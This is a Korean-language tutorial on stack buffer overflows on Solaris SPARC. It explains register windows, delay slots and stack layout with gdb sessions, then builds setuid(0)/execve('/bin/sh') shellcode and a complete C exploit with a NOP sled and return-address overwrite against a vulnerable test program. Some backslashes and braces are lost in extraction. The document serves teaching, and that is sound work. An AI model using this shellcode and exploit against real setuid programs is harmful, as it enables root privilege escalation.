BufferOverflow on Solaris Sparc by Tyger (nobody4@empal.com) 1. 서문이문서에서는 Solaris Sparc에서의버퍼오버플로우에대해다룰것이다. 버퍼오버플로우에대한개념은이미알고있는걸로간주하고, Intel x86에서의버퍼오버플로우와차이점에중점을두고설명한다. 참고로 Sparc 머신이없어서아래의환경에서만테스트한것이므로다른환경에선이내용과다른결과가나올수도있다. 틀린부분이나추가할사항이있으면언제든지메일보내주시면감사..^^ 테스트환경 [sun]uname -a SunOS sun 5.7 Generic_106541-08 sun4u sparc SUNW,Ultra-60 [sun]gcc -v Reading specs from /usr/local/lib/gcc-lib/sparc-sun-solaris2.7/2.95.3/specs gcc version 2.95.3 20010315 (release) [sun]gdb -v GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.7". [sun]isainfo -kv 64-bit sparcv9 kernel modules 2. Sparc Architecture 2-1. register Sparc의레지스터는인텔과매우다른모습을가지고있다. 아래표에서보듯이 32개의 general purpose register 가있으며크게 4부분으로나뉜다. - global: 함수호출시에도값을그대로유지한다. 그러므로어떤함수에서도그값을참조할수있다. 즉 C언어에서 global 변수와비슷하다고생각하면된다. %g0는항상 0이다. 쓰기가능하지만어떤값을써도다시 0이된다. - output: 함수호출시파라미터를전달하는데쓰인다.( 인텔에선함수호출시전달되는파라미터를스택에
push하지만 Sparc에선 %o0 - %o5 register에들어간다. 6개이상의파라미터를전달하는경우는드물겠지만이럴경우엔스택을통해전달한다.) 함수를호출하면호출한함수의 output register는호출된함수의 input register가된다. %o6는 stack pointer의주소를 %o7은 return address를갖는다. - input: 전달된파라미터를받는데쓰인다. %i6는 frame pointer address를 %i7은 return address를갖는다. ( 나중에설명하겠지만실제 return address는 %i7의주소값 +8이된다.) - local: 함수호출시호출된함수는자신의 local register를갖는다. 이값은함수내에서만쓰이고다른곳엔영향을미치지않는다. 즉 C언어에서 local 변수와비슷하다고생각하면된다. %g0 (r00) always zero %g1 (r01) [1] temporary value %g2 (r02) [2] global 2 global %g3 (r03) [2] global 3 %g4 (r04) [2] global 4 %g5 (r05) reserved for SPARC ABI %g6 (r06) reserved for SPARC ABI %g7 (r07) reserved for SPARC ABI %o0 (r08) [3] outgoing parameter 0 / return value from callee %o1 (r09) [1] outgoing parameter 1 %o2 (r10) [1] outgoing parameter 2 out %o3 (r11) [1] outgoing parameter 3 %o4 (r12) [1] outgoing parameter 4 %o5 (r13) [1] outgoing parameter 5 %sp, %o6 (r14) [1] stack pointer %o7 (r15) [1] temporary value / address of CALL instruction %l0 (r16) [3] local 0 %l1 (r17) [3] local 1 %l2 (r18) [3] local 2 local %l3 (r19) [3] local 3 %l4 (r20) [3] local 4 %l5 (r21) [3] local 5 %l6 (r22) [3] local 6 %l7 (r23) [3] local 7 %i0 (r24) [3] incoming parameter 0 / return value to caller %i1 (r25) [3] incoming parameter 1 %i2 (r26) [3] incoming parameter 2 in %i3 (r27) [3] incoming parameter 3 %i4 (r28) [3] incoming parameter 4 %i5 (r29) [3] incoming parameter 5 %fp, %i6 (r30) [3] frame pointer %i7 (r31) [3] return address - 8
2-2. pipeline Sparc은성능향상을위해 pipeline을사용한다. 한 instruction이 cycle을끝마칠때까지기다리지않고바로다음 instruction을실행한다. 첫 instruction의 address는 %pc(program counter) 에저장되고다음 instruction address 는 %npc에저장된다. %pc의사이클이종료되면 %npc의사이클이 %pc로이동하고다음 instruction이 %npc로이동하는걸프로세스가종료될때까지반복한다. 하지만여기서문제가발생할수있는데, 예를들어다음 instruction을수행할려면앞선 instruction의결과값이필요한경우가있다. 하지만파이프라인에의해 2 instruction이동시에실행되므로문제가발생한다. 그래서 delay slot이생기는데다음을보자. 이건뒤에서도나올 test의 disasemble의일부이다. 0x1095c <main+24>: ld [ %o1 ], %o0 0x10960 <main+28>: call 0x10920 <copy> 0x10964 <main+32>: nop 0x10968 <main+36>: ret 중간에보면 copy 함수를호출하는데그다음 instruction도동시에실행된다. 만약그다음 instruction에서 copy 함수의결과값을필요로한다면문제가발생한다. 그러므로실행순서가바뀌게되는 call. jmpl, branch instruction 뒤에는보통어떠한동작도하지않는 nop instruction을주는데이 3 instruciton 다음에오는 instruction을 delay slot 이라한다. 또앞에서말한 return address=%i7+8에대해알아보자. copy를호출하면끝마치고 return할주소가 copy내 %i7 에들어가는데위에서보면 0x10960이들어간다. 인텔 x86과다른점이 x86에선 call 다음주소 ( 여기서본다면 0x10964) 가 return address가되는데 Sparc은다르다. 그러므로 copy를끝마치고 return하게될주소는그다음은 delay slot으로의미없는것이므로그다음인 0x10968이된다. (%i7을 AAAA 로 overwrite했는데 %pc가 0x41414149가되서한참을고민한적이있다.-_-) 2-3. instruction x86의 instruction 크기는 1-4바이트로제각각이지만 Sparc에선모두 4바이트로일정하다. 그러므로쉘코드도 4의배수크기가되며 nop도 4바이트이다. x86의 nop은 0x90으로 1바이트이지만 Sparc의 nop은 4바이트이므로 exploit시리턴어드레스가 nop의중간 (nop 전체의중간이아니라 4바이트중중간 ) 에떨어지면 segmentation fault 가나며쉘이안떨어지게된다. 그러므로 Sparc에서 exploit시리턴어드레스가정확히 nop 첫바이트주소를가르키도록주의해야한다. 많은 instruction이있지만버퍼오버플로우를이해하는데필요한것만알아보자.( 보다자세히알고싶으면아래참고문헌을참고하라.) - save: 예전 stack pointer를새함수에서사용할스택의 frame pointer로설정하고 8개의 input/local register 값을스택에저장한다.( 여기서호출한함수의 output register가 input register로맵핑된다.) 각레지스터의크기는 4바이트이므로, save하기전에프로세서는 64바이트공간을스택의맨위에할당한다. - restore: 가장최근의 save에의해행해졌던것들을반대로 restore한다. 즉 save와정반대의동작을한다고보면된다. - ret: %pc를 %npc(%i7+8) 로설정한다. 2-4. stack structure
[sun]cat test.c ----------------------------- #include "dumpcode.h" dumpcode((char *)buf,400); void copy(char *in) { char buf[256]; strcpy(buf,in); main(int argc,char *argv[]) { copy(argv[1]); ------------------------------- [sun]gcc -o test test.c ggdb 버퍼오버플로우취약점을가진매우간단한프로그램이다. gdb 를통해 Sparc 의스택구조를살펴보자. [sun]gdb -q test (gdb) disas main Dump of assembler code for function main: 0x10944 <main>: save %sp, -112, %sp! 112바이트스택을잡고 %l*/%i* register를넣는다 0x10948 <main+4>: st %i0, [ %fp + 0x44 ]! 첫번째파라미터인 argc를 [%fp+0x44] 에넣는다. 0x1094c <main+8>: st %i1, [ %fp + 0x48 ]! 두번째파라미터인 argv를 [%fp+0x48] 에넣는다. 0x10950 <main+12>: mov 4, %o0! %o0에 4를넣는다. 0x10954 <main+16>: ld [ %fp + 0x48 ], %o2! argv를 %o2에 load 0x10958 <main+20>: add %o0, %o2, %o1! 4+%o2=argv[1] 0x1095c <main+24>: ld [ %o1 ], %o0! argv[1] address를 %o0에 load 0x10960 <main+28>: call 0x10920 <copy>! copy() call 0x10964 <main+32>: nop! delay slot 0x10968 <main+36>: ret! return 0x1096c <main+40>: restore! restore stack End of assembler dump. (gdb) b *0x10944 Breakpoint 2 at 0x10944: file test.c, line 8. (gdb) r `perl -e 'print "A"x400'` Starting program: /home/tyger/study/bof/test `perl -e 'print "A"x400'` Breakpoint 2, main (argc=0, argv=0x0) at test.c:8 8 { (gdb) i r i0 i1 i2 i3 i4 i5 fp i7
i0 0x0 0 i1 0x0 0 i2 0x0 0 i3 0x0 0 i4 0x0 0 i5 0x0 0 fp 0xffbefb60-4261024 i7 0x0 0 (gdb) i r o0 o1 o2 o3 o4 o5 sp o7 o0 0x2 2 <- 첫번째파라미터인 argc=2 o1 0xffbefbc4-4260924 <- 두번째파라미터인 argv pointer o2 0xffbefbd0-4260912 <- 환경변수포인터 o3 0x20b80 134016 <- **environ o4 0x0 0 o5 0x0 0 sp 0xffbefb60-4261024 <- 현재 (main() 호출전 ) 스택포인터 o7 0x107e8 67560 <- main() 종료후 return address (gdb) x/2x $o1 0xffbefbc4: 0xffbefca4 0xffbefcba (gdb) x/s 0xffbefca4 0xffbefca4: "/home/tyger/study/bof/test" <- argv[0] (gdb) x/s 0xffbefcba 0xffbefcba: 'A' <repeats 200 times>... <- argv[1] (gdb) x/x $o2 0xffbefbd0: 0xffbefdbb <- 환경변수시작주소 (gdb) x/2s 0xffbefdbb 0xffbefdbb: "HOME=/home/tyger" 0xffbefdc9: "HOSTNAME=sun" (gdb) x/x $o3 0x20b80 <environ>: 0xffbefbd0 <- **environ, %o2 주소를갖는다. (gdb) si <- save instruction 실행 0x10948 8 { (gdb) i r i0 i1 i2 i3 i4 i5 fp i7 i0 0x2 2 i1 0xffbefbc4-4260924 i2 0xffbefbd0-4260912 i3 0x20b80 134016 i4 0x0 0 i5 0x0 0 fp 0xffbefb60-4261024 <- 예전 sp가 fp가됨. i7 0x107e8 67560 (gdb) i r o0 o1 o2 o3 o4 o5 sp o7
o0 0x0 0 o1 0x0 0 o2 0x0 0 o3 0x0 0 o4 0x0 0 o5 0x0 0 sp 0xffbefaf0-4261136 <- main() 의 sp= 예전 sp-112(0x70) o7 0x0 0 (gdb) x/8wx $sp <- %l0 ~ %l7이 sp부터차례데로들어간다. 0xffbefaf0: 0x00000000 0x00000000 0x00000000 0x00000000 %l0 0xffbefb00: 0x00000000 0x00000000 0x00000000 0x00000000 %l7 (gdb) x/8wx $sp+32 <- %i0 ~ %i7이그다음에들어간다. 0xffbefb10: 0x00000002 0xffbefbc4 0xffbefbd0 0x00020b80 %i0 0xffbefb20: 0x00000000 0x00000000 0xffbefb60 0x000107e8 %fp ret-8 save instruction(save %sp, -112, %sp) 을실행하니예전 sp(stack pointer) 를 fp(frame pointer) 로만들고 main() 에서사용하기위해스택공간을 112바이트만큼잡고 sp부터차례데로 %l* 와 %i* 레지스터가들어감을볼수있다. 여기서 %fp(%i6) 는 main() 의 fp 주소를갖고있으며 %i7은 main() 종료후 return할 ret address-8 주소를갖는다. ret-8에대해더자세히알아보면 main() 은 _start() 에의해 call되는데바로 main() 을 call할때의주소가바로 %i7 에담긴 0x000107e8이다. call instruction이후엔 delay slot이들어가므로, main() 종료후 retrurn address는 0x000107e8+8이된다. (gdb) x/2x $fp+0x44 0xffbefba4: 0x00000000 0x00000000 (gdb) si <- st %i0, [ %fp + 0x44 ] 실행 0x1094c in main (argc=0, argv=0xffbefb60) at test.c:8 8 { (gdb) x/2x $fp+0x44 0xffbefba4: 0x00000002 0x00000000 <- argc=2가 [%fp+0x44] 에저장되있음. (gdb) si <- st %i1, [ %fp + 0x48 ] 실행 main (argc=2, argv=0xffbefbc4) at test.c:9 9 copy(argv[1]); (gdb) x/2x $fp+0x44 0xffbefba4: 0x00000002 0xffbefbc4 <- *argv[] 의주소가 [%fp+0x48] 에저장되있음. (gdb) x/112x $fp 0xffbefb60: 0x00000002 0xffbefbc4 0x00000000 0x00000000 main()'fp=_start()'sp
0xffbefb70: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbefb80: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbefb90: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbefba0: 0x00000000 0x00000002 0xffbefbc4 0x00000000 ^^^^^^^ ^^^^^^ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(snip) _start() 의 %l* 와 %i* register 가들어가있는 64 바이트 +struct pointer 4 바이트이후에 main() 에전달해줄파라미터 값이들어가있는걸볼수있다. (gdb) b *main+28 Breakpoint 2 at 0x10960: file test.c, line 9. (gdb) i r o7 o7 0x0 0 (gdb) si 0x10954 9 copy(argv[1]); (gdb) i r o7 o7 0x0 0 (gdb) si 0x10958 9 copy(argv[1]); (gdb) i r o7 o7 0x0 0 (gdb) si 0x1095c 9 copy(argv[1]); (gdb) i r o7 o7 0x0 0 (gdb) si Breakpoint 2, 0x10960 in main (argc=2, argv=0xffbefbc4) at test.c:9 9 copy(argv[1]); (gdb) i r o7 o7 0x0 0 (gdb) si 0x10964 9 copy(argv[1]); (gdb) i r o7 o7 0x10960 67936 <- %o7이 call <copy> 주소인 0x10960으로바뀜. copy() 의 save instruction 이후이값은 copy() 스택의 %i7위치에들어가며 copy() 종료후 ret 주소는 0x10960+8이됨.(call <copy> 이후 nop instruction은 delay slot으로들어간것이므로그다음인 0x10968 <main+36>: ret 으로 return하게된다. 그러므로 copy() 의 return address는 %i7+8이되는것이다.) (gdb) i r i0 i1 i2 i3 i4 i5 fp i7 i0 0x0 0
i1 0x0 0 i2 0x0 0 i3 0x0 0 i4 0x0 0 i5 0x0 0 fp 0xffbefb60-4261024 i7 0x0 0 (gdb) i r o0 o1 o2 o3 o4 o5 sp o7 o0 0x2 2 o1 0xffbefbc4-4260924 o2 0xffbefbd0-4260912 o3 0x20b80 134016 o4 0x0 0 o5 0x0 0 sp 0xffbefb60-4261024 o7 0x107e8 67560 (gdb) disas copy Dump of assembler code for function copy: 0x10920 <copy>: save %sp, -368, %sp 0x10924 <copy+4>: st %i0, [ %fp + 0x44 ] 0x10928 <copy+8>: add %fp, -272, %o1 0x1092c <copy+12>: mov %o1, %o0 0x10930 <copy+16>: ld [ %fp + 0x44 ], %o1 0x10934 <copy+20>: call 0x20a94 <strcpy> 0x10938 <copy+24>: nop 0x1093c <copy+28>: ret 0x10940 <copy+32>: restore End of assembler dump. (gdb) i r pc pc 0x10964 67940 <- nop instruction(delay slot). pipeline에의해바로 copy() 로실행흐름이바뀌지않고 nop instruction을실행함을알수있다. 즉, call 실행후바로그다음 instruction을실행 (gdb) si copy (in=0x0) at test.c:2 2 { (gdb) i r pc pc 0x10920 67872 <- 드디어 copy() 로실행흐름이바뀜. (gdb) i r o0 o1 o2 o3 o4 o5 sp o7 o0 0xffbefcba -4260678 o1 0xffbefbc8-4260920 o2 0xffbefbc4-4260924 o3 0x0 0
o4 0x0 0 o5 0x0 0 sp 0xffbefaf0-4261136 <- main() 의 sp, save %sp, -368, %sp를위해필요함. o7 0x10960 67936 (gdb) i r i0 i1 i2 i3 i4 i5 fp i7 <- main() 의 %o* 이 copy() 의 %i* 으로바뀐걸알수있다. i0 0x2 2 i1 0xffbefbc4-4260924 i2 0xffbefbd0-4260912 i3 0x20b80 134016 i4 0x0 0 i5 0x0 0 fp 0xffbefaf0-4261136 <- main() 의 sp가 copy() 의 fp가됨. i7 0x107e8 67560 <- copy() 의 ret-8 (gdb) b *(copy+28) Breakpoint 1 at 0x1093c: file test.c, line 5. (gdb) x/96x $sp 0xffbef8f0: 0x00020b54 0x00000000 0x00000000 0x00000000 %l0 0xffbef900: 0x00000000 0x00000000 0x00000000 0x00020a08 %l7 0xffbef910: 0xffbefc2a 0xffbefb38 0xffbefb34 0x00000002 %i0 0xffbef920: 0xff333938 0xff2a01c0 0xffbefa60 0x00010960 %fp %i7 0xffbef930: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbef940: 0x00000000 0xffffffff 0xff3b0000 0xffbeffd6 0xffbef950: 0x41414141 0x41414141 0x41414141 0x41414141 buf[0] buf[1] 0xffbef960: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef970: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef980: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef990: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef9a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef9b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef9c0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef9d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef9e0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef9f0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbefa00: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbefa10: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbefa20: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbefa30: 0x41414141 0x41414141 0x41414141 0x41414141
0xffbefa40: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbefa50: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbefa60: 0x41414141 0x41414141 0x41414141 0x41414141 copy()'s fp=main()'fp (gdb) 0xffbefa70: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbefa80: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbefa90: 0x41414141 0x41414141 0x41414141 0x41414141 ^^^^^^^<-main() 의ret overwrite buf[] 에서 336바이트를덮어씌우니 main() 의 ret( 실제론 ret-8) 가 overwrite 되었다. -------------------------------------------------------------------------------------- 여기서유심히살펴본사람은한가지중요한점을발견했을것이다. copy() 의 ret가저장되는주소가 buf[] 의주 소보다낮은주소에위치한다는것이다. 즉 copy() 내의 buf[] 를 overflow시켜도 copy() 의 ret를바꿀수가없다!!! 그러므로한함수로만이뤄졌다던가호출한함수에우리가오버플로우시킬공간이없다면 Sparc에선버퍼오버플로 우가불가능하다.( 정확히말해서오버플로우는가능할지라도 return address를 overwrite할수가없다.) 즉, 다음과같은프로그램은오버플로우취약점을갖고있고 x86에선오버플로우가가능하지만 Sparc에선불가능하 다. int main(int argc,char *argv[]) { char buf[256]; strcpy(buf,argv[1]); 위의결과를토대로스택구조를그려보자. low address high address %l0 %l7 %i0 %i5 %i6 (%fp) %i7 (ret) struct pointer outgoing parameter padding local variable temporary sp 32byte 24 4 4 4 24 4 n*8 16 fp 위의 main() 함수에서보면아무런것도하지않고단지 copy() 만 call했는데도 112바이트의스택공간을잡는걸볼수있다.(save %sp, -112, %sp) save instruction은최소 112바이트를할당하는것같다 (?). 앞에서도말했듯이 save instruction은함수내에서사용될 local/input register를위해 64바이트를할당한다.(32+24+4+4) 여기서 %i6는 frame pointer 주소를 %i7은 return address-8의주소를갖는다. 그다음 4바이트는 return시 structure pointer이며그다음 24바이트는전달해줄 6개의파라미터가들어간다. 전달해줄파라미터가없음에도불구하고항상 24바이트를할당한다. 6개이상일경우엔 4바이트단위로추가로할당된다. 마지막의 16바이트는컴파일러가임시로쓰는공간이다. 여기까지를모두합하면 32+24+4+4+4+24+16=108바이트이다. 그런데 Sparc에선 8바이트정렬을하므로 4바이트의 padding이들어간다.(112%8=0) 또한 local 변수를위한공간도 8 바이트단위로할당된다. 그러므로char buf[12]; 로 12바이트를잡았더라도실제스택엔 16바이트가할당된다. 이제쉘코드를만들어보자.
3. Shellcode [sun]cat shell.c ------------------------ #include <stdio.h> main() { char *sh[2]; sh[0]="/bin/sh"; sh[1]=null; execve(sh[0],sh,null); ----------------------------------------------------------------------------- [sun]gcc -ggdb -static -o shell shell.c [sun]gdb -q shell (gdb) disas main Dump of assembler code for function main: 0x10208 <main>: save %sp, -120, %sp 0x1020c <main+4>: sethi %hi(0x16800), %o1 0x10210 <main+8>: or %o1, 0x110, %o0! 0x16910 <_lib_version+8> 0x10214 <main+12>: st %o0, [ %fp + -24 ] 0x10218 <main+16>: clr [ %fp + -20 ] 0x1021c <main+20>: add %fp, -24, %o1 0x10220 <main+24>: ld [ %fp + -24 ], %o0 0x10224 <main+28>: clr %o2 0x10228 <main+32>: call 0x10320 <execve> 0x1022c <main+36>: nop 0x10230 <main+40>: ret 0x10234 <main+44>: restore End of assembler dump. (gdb) disas execve Dump of assembler code for function execve: 0x10320 <execve>: mov 0x3b, %g1 0x10324 <execve+4>: ta 8 0x10328 <execve+8>: bcc 0x1033c <_exit> 0x1032c <execve+12>: sethi %hi(0x15400), %o5 0x10330 <execve+16>: or %o5, 0x20c, %o5! 0x1560c <_cerror> 0x10334 <execve+20>: jmp %o5 0x10338 <execve+24>: nop End of assembler dump. (gdb) sparc assembly를처음접한다면다소생소할것이므로 sparc assembly와친해질겸대충설명해보자.
0x10208 <main>: save %sp, -120, %sp stack frame 을잡아주는부분이다. main 에서 120 바이트의스택을잡아주고있다. 0x1020c <main+4>: sethi %hi(0x16800), %o1 sethi는주소를지정할때주로쓰이는명령인데, 전체 32비트의내용중에서상위 22비트를지정한다. 위명령에의해서 %o1 레지스터에 0x00016800 값이저장된다. sethi명령으로는상위 22비트밖에지정할수없기때문에바로다음에 or 명령으로추가하는것이보통이다. 0x10210 <main+8>: or %o1, 0x110, %o0! 0x16910 <_lib_version+8> or 명령은말그대로 OR 연산을하는명령어이다. sparc assembly에서세인자를가지면첫번째, 두번째인자는계산되는값이되고, 마지막인자에저장하는형태를갖는다. 그러므로위의연산은위에서 sethi로 22비트를받아놓은 %o1 레지스터의값에 0x110과 or 연산을해서 %o0 레지스터에저장하는것이다. 즉 0x16800+0x110=0x16910이 %o0 레지스터에들어가게된다. 0x10214 <main+12>: st %o0, [ %fp + -24 ] st instruction은레지스터에있는값을메모리에저장해주는명령으로 %o0 레지스터에있는값 (0x16910) 을 %fp(frame pointer) 레지스터로부터 -24만큼떨어진곳에저장한다. 0x10218 <main+16>: clr [ %fp + -20 ] clr 명령은 0으로리셋하는명령으로 %fp 레지스터로부터 20 떨어진곳을 0으로만든다. 0x1021c <main+20>: add %fp, -24, %o1 %fp 레지스터에있는값에서 24를뺀값을 %o1 레지스터에저장한다. 0x10220 <main+24>: ld [ %fp + -24 ], %o0 ld instruction은메모리에있는값을레지스터에저장해주는명령으로, 위에서 fp-24 위치에넣어두었던값 0x16910을 %o0 레지스터에로딩한다. 0x10224 <main+28>: clr %o2 %o2 레지스터를 0으로리셋한다. 여기까지보면 0x16910 이주소에는 /bin/sh 이라는문자열이있고 (gdb) x/s 0x16910 0x16910 <_lib_version+8>: "/bin/sh" 이주소를 %fp-24에넣어줬으므로 %o0에는 %fp-24가가리키는값이들어가고 %o1에는 %fp-24의주소값이들어가고 %o2에는 NULL이들어가게된다. execve(sh[0],sh,null); 의 3인자가각각 %o0,%o1,%o2에들어가는셈이된다. 0x10228 <main+32>: execve 함수를호출한다. call 0x10320 <execve> 이제 execve code 를살펴보자.
0x10320 <execve>: mov 0x3b, %g1 0x10324 <execve+4>: ta 8 이부분이 execve의핵심이다. %g1 레지스터에 0x3b 값을넣고 ta 8로 system trap을호출한다. 리눅스 x86쉘코드를만들때보면 %eax 레지스터에시스템콜넘버를넣고 int $0x80으로 system trap을하는데이와매우유사하다. 0x3b는 10진수로 59이고 execve의시스템콜넘버이다. ( 시스템콜은 /usr/include/sys/syscall.h 참고 ) 이제필요한설명은다끝났다. %o0에 /bin/sh 0 의포인터를넣어주고 %o1에는이문자열에대한포인터의포인터를넣어주고 %o2에는 null을 %g1에는 0x3b를넣어주면된다. 이과정대로쉘코드를만들어보자. [sun]cat asmsh.c --------------------------- main() { asm (" set 0x2f62696e,%l0 set 0x2f736800,%l1 sub %sp,16,%o0 sub %sp,8,%o1 xor %o2,%o2,%o2 std %l0,[%sp-16] st %o0,[%sp-8] st %g0,[%sp-4] mov 59,%g1 ta 8 "); --------------------------- 한줄씩살펴보자. 위의 2줄은 0x2f6269( /bin ) 을 %l0 레지스터에, 0x2f736800( /sh 0 ) 를 %l1 레지스터에넣는다. %sp에서 16을뺀값을 %o0에넣는다. 이것은나중에 /bin/sh 0 를가르키게된다. %sp에서 8을뺀값을 %o1에넣는다. 이것은나중에 /bin/sh 0 포인터의포인터가된다. %o2에 0이들어간다. std instruction은 double word만큼레지스터의값을메모리에저장한다. 그러므로 %l0와 %l1에있는값 /bin/sh 0 가 %sp-16 위치에들어간다. 이위치는 %o0에들어가있는주소이므로결국위에서말한데로 %o0는 /bin/sh 0 를가르키게된다. %o0의값을 %sp-8 위치에저장한다. 그러므로 %o1은 /bin/sh 0 포인터의포인터가된다. %g0의값을 %sp-4 위치에저장한다. 앞의레지스터부분에서설명했듯이 %g0는항상 0값을가진다. 그러므로 %sp-4에 0이들어간다. 이것은 clr [%sp-4] 와같다. 둘중어떤것을써도상관없다. 이것으로쉘코드가완성되었다. 하지만쉘코드를만들어본사람은 setuid(0) 를추가해야된다는걸알것이다. 솔라리스에서도 setuid(0) 를추가하지않으면자기자신의쉘이떨어진다. 위에서자세히설명했으니바로만들어보자. xor %o1,%o1,%o0 mov 23,%g1 ta 8 여기서한가지주의할점은 %o0에 0을넣어야하는데 xor %o0,%o0,%o0를하면안된다. 어짜피 %o0에 0이들어
가긴하지만나중에머신코드를뽑아보면 0이들어가게된다. 쉘코드에 0이들어가면안된다는건모두잘알것이다. 자. 이제드디어쉘코드가모두완성되었다. 머신코드를뽑아서잘동작하나테스트해보자. [sun]cat code.c #include<stdio.h> char sh[]= /* size: 56bytes */ /* setuid(0) */ " x90 x1a x40 x09 x82 x10 x20 x17" " x91 xd0 x20 x08" /* execve() */ " x21 x0b xd8 x9a xa0 x14 x21 x6e" " x23 x0b xdc xda x90 x23 xa0 x10" " x92 x23 xa0 x08 x94 x1a x80 x0a" " xe0 x3b xbf xf0 xd0 x23 xbf xf8" " xc0 x23 xbf xfc x82 x10 x20 x3b" " x91 xd0 x20 x08"; main() { void(*f)()=(void *)sh; printf("size: %d bytes n",strlen(sh)); f(); -------------------------------------------- [sun]gcc -o code code.c [sun]chmod u+s code [sun]./code size: 56 bytes # id uid=0(root) gid=5(tyger) 잘작동하는것같다. 이제실제익스플로잇을해보자. 4. exploit 앞에서도나왔던 test.c에 dumpcode를추가하고 exploit해보자. x86에서의익스플로잇과다른몇가지만주의하면개념자체는똑같다. NOP과 shellcode를주고 ret가들어가있는 %i7에 NOP이있는주소로덮어씌우면될것이다. 이걸그림으로도식화해보면다음과같을것이다.
------------------------------------------- buffer.. %l0-%l7 %i0 - %i7 -------------------------------------------- NOPNOP...SHELLCODE RET... RET -------------------------------------------- ^ \------------------------/ 만약 buffer가너무작다면다음의 2가지방법이있다. ---------------------------------------------------------------- buffer. %l0-%l7 %i0 - %i7... ---------------------------------------------------------------- RET... RET... RET NOPNOP...SHELLCODE ---------------------------------------------------------------- ^ \--------------------------/ 또는에그쉘처럼환경변수영역을이용하는것이다. ------------------------------------------- --------------------- buffer.. %l0-%l7 %i0 - %i7 환경변수영역 ------------------------------------------- --------------------- RET... RET... RET NOPNOP...SHELLCODE -------------------------------------------- --------------------- ^ \-----------------------------/ 여기서는버퍼의크기가충분하므로일반적인첫번째방법을사용하기로한다. [sun]cat test.c #include dumpcode.h void copy(char *in) { char buf[256]; strcpy(buf,in); dumpcode((char *)buf,400); main(int argc,char *argv[]) { copy(argv[1]);
[sun]cat exp.c ---------------------------------- #include <stdio.h> #include <stdlib.h> #define BSIZE 336 char sh[]= /* 56bytes */ /* setuid(0); */ " x90 x1a x40 x09 x82 x10 x20 x17" " x91 xd0 x20 x08" /* execve() */ " x21 x0b xd8 x9a" /* sethi %hi(0x2f626800), %l0 */ " xa0 x14 x21 x6e" /* or %l0, 0x16e, %l0! 0x2f62696e */ " x23 x0b xdc xda" /* sethi %hi(0x2f736800), %l1 */ " x90 x23 xa0 x10" /* sub %sp, 16, %o0 */ " x92 x23 xa0 x08" /* sub %sp, 8, %o1 */ " x94 x1b x80 x0e" /* xor %sp, %sp, %o2 */ " xe0 x3b xbf xf0" /* std %l0, [%sp - 16] */ " xd0 x23 xbf xf8" /* st %o0, [%sp - 8] */ " xc0 x23 xbf xfc" /* st %g0, [%sp - 4] */ " x82 x10 x20 x3b" /* mov 59, %g1 59 = SYS_execve() */ " x91 xd0 x20 x08" /* ta 8 */ ; /* get current stack point address to guess our shellcode location */ unsigned long get_sp(void) { asm ("mov %sp,%i0"); int main(int argc,char *argv[]) { int i; char buf[bsize]; unsigned long addr,sp,*ptr; unsigned long nop=0xaa1d4015; // xor %l5,%l5,%l5 addr=sp=get_sp(); printf("stack Pointer: %lx n",sp); if(argv[1]) {
addr+=strtoul(argv[1],(void *)0,16); printf("code location: %lx n",addr); bzero(buf,bsize); for(i=0;i<bsize-strlen(sh)-8;i+=4) { memcpy(buf+i,&nop,4); memcpy((buf+bsize-strlen(sh)-8),sh,strlen(sh)); ptr=(unsigned long *)&(buf[bsize-8]); *ptr++=sp; *ptr++=addr; execl("./test","test",buf,null); ------------------------------------------------------------ 336은앞선스택구조에서살펴보았듯이 buf[] 에서정확히 336바이트를채우면 main() 의 ret가덮어씌워진다는걸다들잘알것이다. 또한앞서도말했듯이 Sparc은 big endian 이므로아래덤프된내용을보면알겠지만메모리에들어갈때순서가바뀌지않는다. 즉 x86에서익스플로잇시에는덮어씌울리턴어드레스의순서를바꿔서넣주었지만 Sparc에선그럴필요가없다. 그럼 x86 리눅스에서버퍼오버플로우익스플로잇을할때와다른점몇가지를살펴보자. * buf[] 의위치를모르기때문에 stack pointer+/-offset을해서대략위치를찍는다는건모두잘알것이다. Sparc 에선다음과같이 stack pointer를구한다. unsigned long get_sp(void) { asm ("mov %sp,%i0"); 참고로아키텍쳐에따라이주소는달라진다. - sun4u: 0xffbe. - sun4m: 0xefff. - sun4d: 0xdfff. * Sparc에서 nop instruction은 0x01000000 이다. 하지만이값은 strcpy() 등에서짤리게되므로사용할수가없다. 다른형태의 nop이필요한데 0x00이끼어있지않으면서값을바꾸지않는 instruction이기만하면된다. 여러가지방법으로만들수가있는데위에서는 xor %l5,%l5,%l5를 nop으로잡았다. 쉘코드수행에영향을미치지않는다면어떤것을사용해도상관없다.
